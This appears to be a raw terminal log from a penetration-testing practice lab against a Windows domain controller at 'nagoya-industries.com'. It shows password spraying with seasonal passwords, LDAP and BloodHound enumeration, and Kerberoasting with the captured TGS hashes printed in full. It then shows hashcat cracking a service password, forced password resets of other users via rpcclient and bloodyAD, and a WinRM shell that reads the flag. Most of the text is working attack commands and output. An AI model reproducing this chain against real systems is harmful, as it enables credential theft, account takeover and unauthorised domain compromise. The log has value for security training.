2da82ab48ef4966435705f53366aa0daf3237a108c59d2f5c2bd75463ed85935262da03e4fdb2f065d2012e3c79e040d63010399a308fb2fb233740f52c28a58874a9d5867498fca2bfea053d459c22d40a0a7e2f1921eb60de0e7991e209741b0c6b40c62dc1e375514cc3744a7cb42c43f8a4c064d685703aa354a856f7f75945bf6ecdf223b3fc7661b30a257cabe99cfe153790ba31461e0100c31325d0e1
$krb5tgs$23$*svc_mssql$NAGOYA-INDUSTRIES.COM$nagoya-industries.com/svc_mssql*$ce3e92412b8991865c0a41611737b482$f6e164367249540bdbdcc22e1ad582f1bc7abc7be0d6e46fa63251016762d1908ed692c55b8b03b2622218212b1271a5a0cd63ae282234026b35e4452d686f71753b1acdd90892d85f7470378248628d07222be07c3eb0bb4ae04efb23757b3351690785fdb3675e05a8d3d0a249d9994d04aa6d001bd16643329c4179757cbe2c1f1d39fb716efc40ebbe44c041d5942ae7210049c54e3c6463d44345e0f69dec616bdb594c64c21c90fefbcb7f58a0d2c9f92567e8f052be4b04ca87185f2f0696d6926aab74439a04d6e3dd75fe1420341889b5f96690cc540e04efd39b9daad761cbf822b589855189d5c5267f525e75b74582f59f1a91da3e7156c1d128d5e736a1da5801b14c48d012e2574e29707dac622e42e019bcb7fb30e9bef7e420bf77e45c3e07ccc5f821a1f0dbdfe89e2c94fe6b28b6883d390ff35c2ad3aad83ee58cba7e7793de76ab29365cfe8070f70529d05ec63aff3bb8b24cd6eeb60831e47af4a9a60d200a9dc0f88502d0b32501f1db9dfdd07abfd841f6ccaa0c9f235dbd4c9d12032c99a85ce94e91ee267265ae94eea27f9ba2bafe8c720b61f56d10913d30110e7e15c34854e31c321a123a11d2594a56935c7e66ef4a9320fc0d284af26deeffe4ff99e0a244123ed79c4ba72027cf05e0ac28fb5b41bab8de06d967ef89942aabb367532d73d88f739d0bd449c965388814f3d258c89716f07b10eb7730a1c676e1cf18988d72d88e19c2e2e9d4cd8841f3d5b75c971219f36911a88a4b33426d6be604ba720485bebfcfb46319bc89308f9889d8c6e3b36dcf5cc7a87c1fa1ecaea789ade1939ba9d9a7f17ae007ee721239ec8d5f18a7933d58a574eb741be4575b39f262908e4951bff82dbd7c59e368ff11219c9786198851b389a137d09b5820fad6da7a73714058a52873cad0e8e5efb56356b9f570f659c2b3d0b7fea13bfccdbbb71bc6d27cce5b22e3cf5137767a79979dc8be805dc998e84ead8b85094a1f367a599b7d7a2d818ff063e285b4a5dc12190c87d78d764422617869fd82bde9bae850adf9f3c752cd7f61219478f130d2939d801e8ed7e951c041e8cc6b864fa4d27bd321b943558440971fa5b0e5b9d29a823b3d1543d54a793ce239a9ddad81b32aa80e0c87b554a40ce71da45c94800c3fc48a8d8e1b70bd10d3176cf3bb0ca0ac7c899d187381925df31272da315b126b8505a0a5099a7ba89faed21c573e4c63087fdd828dd40b5974fc1502c04e93ad2a901a1d60493d51d47c125aaa50ef15a84936ae8a593305f4af8014ba5b351039b2fb68e16f0fb9df15c90d883e3d6b3fc406dc26624bacd5a12bad9a3ea0ead5502ebd8781eafcca5792114173cdeb40562604eae6170674e83cbbd69906007b937b39a4067607193680e3ea9036329e44455ccb19d395dcf41625628b34cd4584447fc1dede29b9764b3e7c4de1fd2d9a726733843e46ae38065507e24347fd602f0adb3d3e3d1b9fb5eeaccc0f26a2264d19a650f69f1405953a053a7671f858e1d541e31271454358eb477615da4784e5956ccfe423a8a5f201d0758debbd7633ae3be9b95d8c4dd6abd6415e011be51d57728f3a777d2eb9405c07fdf16a2f
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023"
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\fiona.clark:Summer2023
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p "Summer2023" --shares
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\fiona.clark:Summer2023
SMB 192.168.212.21 445 NAGOYA [*] Enumerated shares
SMB 192.168.212.21 445 NAGOYA Share Permissions Remark
SMB 192.168.212.21 445 NAGOYA ----- ----------- ------
SMB 192.168.212.21 445 NAGOYA ADMIN$ Remote Admin
SMB 192.168.212.21 445 NAGOYA C$ Default share
SMB 192.168.212.21 445 NAGOYA IPC$ READ Remote IPC
SMB 192.168.212.21 445 NAGOYA NETLOGON READ Logon server share
SMB 192.168.212.21 445 NAGOYA SYSVOL READ Logon server share
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc ldap 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023" --users
LDAP 192.168.212.21 389 NAGOYA [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
LDAP 192.168.212.21 389 NAGOYA [+] nagoya-industries.com\craig.carr:Spring2023
LDAP 192.168.212.21 389 NAGOYA [*] Enumerated 35 domain users: nagoya-industries.com
LDAP 192.168.212.21 389 NAGOYA -Username- -Last PW Set- -BadPW- -Description-
LDAP 192.168.212.21 389 NAGOYA Administrator 2023-05-02 00:43:05 0 Built-in account for administering the computer/domain
LDAP 192.168.212.21 389 NAGOYA Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 192.168.212.21 389 NAGOYA krbtgt 2023-04-30 15:32:12 0 Key Distribution Center Service Account
LDAP 192.168.212.21 389 NAGOYA svc_helpdesk 2023-04-30 16:31:06 0
LDAP 192.168.212.21 389 NAGOYA Matthew.Harrison 2023-04-30 16:36:19 0
LDAP 192.168.212.21 389 NAGOYA Emma.Miah 2023-04-30 16:36:19 0
LDAP 192.168.212.21 389 NAGOYA Rebecca.Bell 2023-04-30 16:36:19 0
LDAP 192.168.212.21 389 NAGOYA Scott.Gardner 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Terry.Edwards 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Holly.Matthews 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Anne.Jenkins 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Brett.Naylor 2023-04-30 16:36:20 0
LDAP 192.168.212.21 389 NAGOYA Melissa.Mitchell 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Craig.Carr 2023-04-30 18:09:46 0
LDAP 192.168.212.21 389 NAGOYA Fiona.Clark 2023-04-30 18:09:30 0
LDAP 192.168.212.21 389 NAGOYA Patrick.Martin 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Kate.Watson 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Kirsty.Norris 2023-04-30 16:36:21 0
LDAP 192.168.212.21 389 NAGOYA Andrea.Hayes 2023-04-30 18:09:21 0
LDAP 192.168.212.21 389 NAGOYA Abigail.Hughes 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Melanie.Watson 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Frances.Ward 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Sylvia.King 2023-04-30 16:36:22 0
LDAP 192.168.212.21 389 NAGOYA Wayne.Hartley 2023-04-30 16:36:23 0
LDAP 192.168.212.21 389 NAGOYA Iain.White 2023-04-30 16:36:36 0
LDAP 192.168.212.21 389 NAGOYA Joanna.Wood 2023-04-30 16:36:37 0
LDAP 192.168.212.21 389 NAGOYA Bethan.Webster 2023-04-30 16:36:37 0
LDAP 192.168.212.21 389 NAGOYA Elaine.Brady 2023-04-30 16:36:44 0
LDAP 192.168.212.21 389 NAGOYA Christopher.Lewis 2023-04-30 16:36:44 0
LDAP 192.168.212.21 389 NAGOYA Megan.Johnson 2023-04-30 16:36:44 0
LDAP 192.168.212.21 389 NAGOYA Damien.Chapman 2023-04-30 16:36:45 0
LDAP 192.168.212.21 389 NAGOYA Joanne.Lewis 2023-04-30 16:36:45 0
LDAP 192.168.212.21 389 NAGOYA svc_mssql 2023-04-30 16:45:33 0
LDAP 192.168.212.21 389 NAGOYA svc_tpl 2023-04-30 17:09:39 0
LDAP 192.168.212.21 389 NAGOYA svc_web 2023-04-30 17:44:10 0
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc ldap 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023" --groups
LDAP 192.168.212.21 389 NAGOYA [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
LDAP 192.168.212.21 389 NAGOYA [+] nagoya-industries.com\craig.carr:Spring2023
LDAP 192.168.212.21 389 NAGOYA Administrators membercount: 3
LDAP 192.168.212.21 389 NAGOYA Users membercount: 3
LDAP 192.168.212.21 389 NAGOYA Guests membercount: 2
LDAP 192.168.212.21 389 NAGOYA Print Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Backup Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Replicator membercount: 0
LDAP 192.168.212.21 389 NAGOYA Remote Desktop Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Network Configuration Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Performance Monitor Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Performance Log Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Distributed COM Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA IIS_IUSRS membercount: 0
LDAP 192.168.212.21 389 NAGOYA Cryptographic Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Event Log Readers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Certificate Service DCOM Access membercount: 0
LDAP 192.168.212.21 389 NAGOYA RDS Remote Access Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA RDS Endpoint Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA RDS Management Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Hyper-V Administrators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Access Control Assistance Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Remote Management Users membercount: 1
LDAP 192.168.212.21 389 NAGOYA Storage Replica Administrators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Computers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Schema Admins membercount: 1
LDAP 192.168.212.21 389 NAGOYA Enterprise Admins membercount: 1
LDAP 192.168.212.21 389 NAGOYA Cert Publishers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Admins membercount: 1
LDAP 192.168.212.21 389 NAGOYA Domain Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Domain Guests membercount: 0
LDAP 192.168.212.21 389 NAGOYA Group Policy Creator Owners membercount: 1
LDAP 192.168.212.21 389 NAGOYA RAS and IAS Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Server Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Account Operators membercount: 0
LDAP 192.168.212.21 389 NAGOYA Pre-Windows 2000 Compatible Access membercount: 1
LDAP 192.168.212.21 389 NAGOYA Incoming Forest Trust Builders membercount: 0
LDAP 192.168.212.21 389 NAGOYA Windows Authorization Access Group membercount: 1
LDAP 192.168.212.21 389 NAGOYA Terminal Server License Servers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Allowed RODC Password Replication Group membercount: 0
LDAP 192.168.212.21 389 NAGOYA Denied RODC Password Replication Group membercount: 8
LDAP 192.168.212.21 389 NAGOYA Read-only Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Enterprise Read-only Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Cloneable Domain Controllers membercount: 0
LDAP 192.168.212.21 389 NAGOYA Protected Users membercount: 0
LDAP 192.168.212.21 389 NAGOYA Key Admins membercount: 0
LDAP 192.168.212.21 389 NAGOYA Enterprise Key Admins membercount: 0
LDAP 192.168.212.21 389 NAGOYA DnsAdmins membercount: 0
LDAP 192.168.212.21 389 NAGOYA DnsUpdateProxy membercount: 0
LDAP 192.168.212.21 389 NAGOYA SQLServer2005SQLBrowserUser$NAGOYA membercount: 0
LDAP 192.168.212.21 389 NAGOYA employees membercount: 21
LDAP 192.168.212.21 389 NAGOYA helpdesk membercount: 4
LDAP 192.168.212.21 389 NAGOYA developers membercount: 5
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc ldap 192.168.212.21 -d nagoya-industries.com -u craig.carr -p "Spring2023" --bloodhound --collection All --dns-server 192.168.212.21
LDAP 192.168.212.21 389 NAGOYA [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
LDAP 192.168.212.21 389 NAGOYA [+] nagoya-industries.com\craig.carr:Spring2023
LDAP 192.168.212.21 389 NAGOYA Resolved collection methods: session, group, container, acl, psremote, dcom, rdp, objectprops, trusts, localadmin
LDAP 192.168.212.21 389 NAGOYA Done in 00M 16S
LDAP 192.168.212.21 389 NAGOYA Compressing output into /home/kali/.nxc/logs/NAGOYA_192.168.212.21_2026-06-27_172050_bloodhound.zip
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ impacket-GetUserSPNs nagoya-industries.com/fiona.clark:"Summer2023" -dc-ip 192.168.212.21 -request -outputfile kerberoast.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------------- ------------ ------------------------------------------------ -------------------------- -------------------------- ----------
http/nagoya.nagoya-industries.com svc_helpdesk CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com 2023-04-30 16:31:06.190955 <never>
MSSQL/nagoya.nagoya-industries.com svc_mssql 2023-04-30 16:45:33.288595 2024-08-02 10:48:41.441299
[-] CCache file is not found. Skipping...
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 1435/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5tgs$23$*svc_mssql$NAGOYA-INDUSTRIES.COM$nagoya-industries.com/svc_mssql*$39e87cfb460c46b0c6c63cbeb4861d49$2e5806d26487404dd2b9be12e47ce1209c3b9746038654edf3b0d3e09b2eaa7957f7bdb275afb545919ce88e1090a7e5f7e01bd3024e75534bd76e80646ff901b071f58539765993d16891ef4a99d7935b9b8619cdfebcc49f3fd3834328d2911a55a7034bbe4279e7696dc03c747a3750fb4e5e721268ea15753f84506b0560a34d04b4a1a09f60dbdd084c8db2146cb0f17e3dc838fec1b6fdb1cc619e5487a466e7454dae6d98fea0f24539f3c43675d08144c0a8b99780136d283e326b1aedd62c77e9bab4e8d27bd5b016a12db88f8f7f81c89a12272e7ff2389c5ee4b61106c20cc43dbbdcb79aa16159f27e702a8a444d35ad73104a769d551c70f24930e163fbdbd096b5c35641142d6e52c75132f555d0701176c472a7fca4cebd43bd5f2ed55841de14b49b37f879e488083f239b7f6b86f8fdc73abcd5551de9dbbd4911ee55a50136cd42fe2fad433d2ea9056693a4db10b483b727fd46f762363e140c0d5fa405386136aed2d343383e057ccff41e403d614d8c365b836c8ec10d4099f0f5548eeb2b032c76aa91753deab37bf1012a6f533255610ad6632b4a1daab11e9cc25c749018283b413b1e512db001062961ab48592f0077a143d38a24286ea449561f86eed6b2b7e680aa7fadf0033b221c2ef180d83da3207f6a08d3573a28b0f61e65a9e830bcc6a80c4c897ae60a98eb5f3f78e9f58a5d909086df9c57397cba82fd37ca504bae4ed07e8c62351bb11097138d488c2ce1befeb505f6234c8949728e9f2991dbfc068246c3451e8576c4c9681338b9dd959211d91436ddcc589ec72271a0768732bfd1c094ae1398682cc4aa56815ec68a2b82b3a8754526fccbad2b4c955e13904dcad5a93b14226c7589bada0f83e71d93dd1a1986df5f72e8fc7ce04d2ab85e334e90d17baad2dc0bf334dcadca65b6a6717b2bbf6336438ff085da8302d1e1f032c6790b7f3fbc20af9d1614bcfeca6b037f363c7325cfede7cd09a90c56eabab6ee399c74a79c51747e0dc64f700234f59047ea85a19b212e5a7d1b75c8a8e6fbe0439e04767a61f0d3ac53c32e9418997564c41ff049ff51cacd34f3d5b3b9ce1402f2d422f4724b1be70bc1d6d55aae958310c14a76b8ef146ac5cc8cfaba1411ab1c8a2f2dc4d20e3cf3c6b3ea7846158fe58570cf4397ea865c1a44218f329f84974e7f7e3cf69e33200c5762098ca596b6d14d5ee79d2b00fcd3c6361f9753c2e6cdf9ad09ea56787be3bc2c8fb16b64aa69b01c56e1e9f770438e8a33ad8bd42574143c7c486a1e1adcf1ca81c0a6e63bfb704a34dca0662bb598148e014dbd003892cc6874dbf96faa5318a3f147d4d34289b507eb10c50d3d83752fe4440a57f9c5dbb56168c4c6225337b821c392ecb053281f2c6871681a087c2df98dd40a4ff10f9b256239f4c41381bd84203c35131f7770784b7ba193105a867e2030f6b8792ebf02276ba2290f8e3e3b99c7b7598c07c5886d0bc1b2a7273e303997de31727bf32ac2f2b757968ab831e5ee294013c69f9fc30a1a530adbc6631910ca730108bf3064c44e620b91e6ddd006fb5d4dbf8d78c87ea43b0443cba8db92040e23dd45468a08dab529e784a70081:Service1
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: kerberoast.hash
Time.Started.....: Sun Jun 28 10:21:54 2026 (10 secs)
Time.Estimated...: Sun Jun 28 10:22:04 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1675.5 kH/s (0.27ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 28688770/28688770 (100.00%)
Rejected.........: 0/28688770 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 92%
Started: Sun Jun 28 10:21:53 2026
Stopped: Sun Jun 28 10:22:06 2026
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
svc_mssql Service1
winrmではログインできない。
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -u 'svc_mssql' -p 'Service1'
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\svc_mssql:Service1
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc rdp 192.168.212.21 -u 'svc_mssql' -p 'Service1'
RDP 192.168.212.21 3389 NAGOYA [*] Windows 10 or Windows Server 2016 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com) (nla:False)
RDP 192.168.212.21 3389 NAGOYA [+] nagoya-industries.com\svc_mssql:Service1
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc winrm 192.168.212.21 -u 'svc_mssql' -p 'Service1'
WINRM 192.168.212.21 5985 NAGOYA [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 192.168.212.21 5985 NAGOYA [-] nagoya-industries.com\svc_mssql:Service1
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$
impacket-mssqlclient $DOMAIN_FQDN/$USER:"$PASS"@$T -windows-auth
smbclient //192.168.212.21/SYSVOL -U 'nagoya-industries.com\svc_mssql'
smbclient //192.168.212.21/NETLOGON -U 'nagoya-industries.com\svc_mssql'
bloodhound
sudo neo4j start
bloodhound
URL: http://127.0.0.1:8080/
User: admin
rpcclient -U "fiona.clark%Summer2023" 192.168.212.21
setuserinfo2 iain.white 23 Password123! or
net rpc password "iain.white" 'Password123!' -U "nagoya-industries.com/fiona.clark%Summer2023" -S 192.168.212.21
nxc smb 192.168.212.21 -u iain.white -p Password123!
rpcclient -U 'iain.white%Password123!' 192.168.212.21
setuserinfo2 christopher.lewis 23 Password123! or
net rpc password "christopher.lewis" 'Password123!' -U 'nagoya-industries.com/iain.white%Password123!' -S 192.168.212.21
nxc smb 192.168.212.21 -u christopher.lewis -p Password123!
evil-winrm -i 192.168.212.21 -u christopher.lewis -p 'Password123!'
bloodyad --host 192.168.212.21 -d nagoya-industries.com -u fiona.clark -p Summer2023 \
set password iain.white Password123!
nxc smb 192.168.212.21 -u iain.white -p Password123!
bloodyad --host 192.168.212.21 -d nagoya-industries.com -u iain.white -p Password123! \
set password christopher.lewis Password123!
nxc smb 192.168.212.21 -u christopher.lewis -p Password123!
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ rpcclient -U "fiona.clark%Summer2023" 192.168.212.21
Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ rpcclient -U "fiona.clark%Summer2023" 192.168.212.21
rpcclient $> setuserinfo2 iain.white 23 Password123!
rpcclient $> rpcclient -U "iain.white%Password123!" 192.168.212.21
command not found: rpcclient
rpcclient $> exit
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ rpcclient -U "iain.white%Password123!" 192.168.212.21
dquote>
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ rpcclient -U "iain.white%Password123!" 192.168.212.21 192.168.212.21
dquote>
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ rpcclient -U "iain.white%Password123 192.168.212.21 192.168.212.21
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ rpcclient -U 'iain.white%Password123!' 192.168.212.21
rpcclient $> setuserinfo2 christopher.lewis 23 Password123!
rpcclient $>
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -u iain.white -p Password123!
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\iain.white:Password123!
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ nxc smb 192.168.212.21 -u christopher.lewis -p Password123!
SMB 192.168.212.21 445 NAGOYA [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)
SMB 192.168.212.21 445 NAGOYA [+] nagoya-industries.com\christopher.lewis:Password123!
┌──(kali@kali)-[~/oscp/pGpractice/Nagoya/192.168.212.21]
└─$ evil-winrm -i 192.168.212.21 -u christopher.lewis -p 'Password123!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents>
*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents>
*Evil-WinRM* PS C:\Users\Christopher.Lewis> whoami /all
USER INFORMATION
----------------
User Name SID
============================ ==============================================
nagoya-ind\christopher.lewis S-1-5-21-1969309164-1513403977-1686805993-1132
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NAGOYA-IND\developers Group S-1-5-21-1969309164-1513403977-1686805993-1130 Mandatory group, Enabled by default, Enabled group
NAGOYA-IND\employees Group S-1-5-21-1969309164-1513403977-1686805993-1105 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\Christopher.Lewis>
*Evil-WinRM* PS C:\Users\Christopher.Lewis> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.212.21
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.212.254
*Evil-WinRM* PS C:\Users\Christopher.Lewis> cat C:\local.txt
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\Christopher.Lewis>
evil-winrm -i 192.168.212.21 -u christopher.lewis -p 'Password123!'
netstat -ano
netstat -ano | findstr :1433
TCP [::1]:50031 [::1]:49666 ESTABLISHED 628
*Evil-WinRM* PS C:\Users\Christopher.Lewis\Documents> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 880
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 880
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 4372
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 628
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1000
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2624
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 476
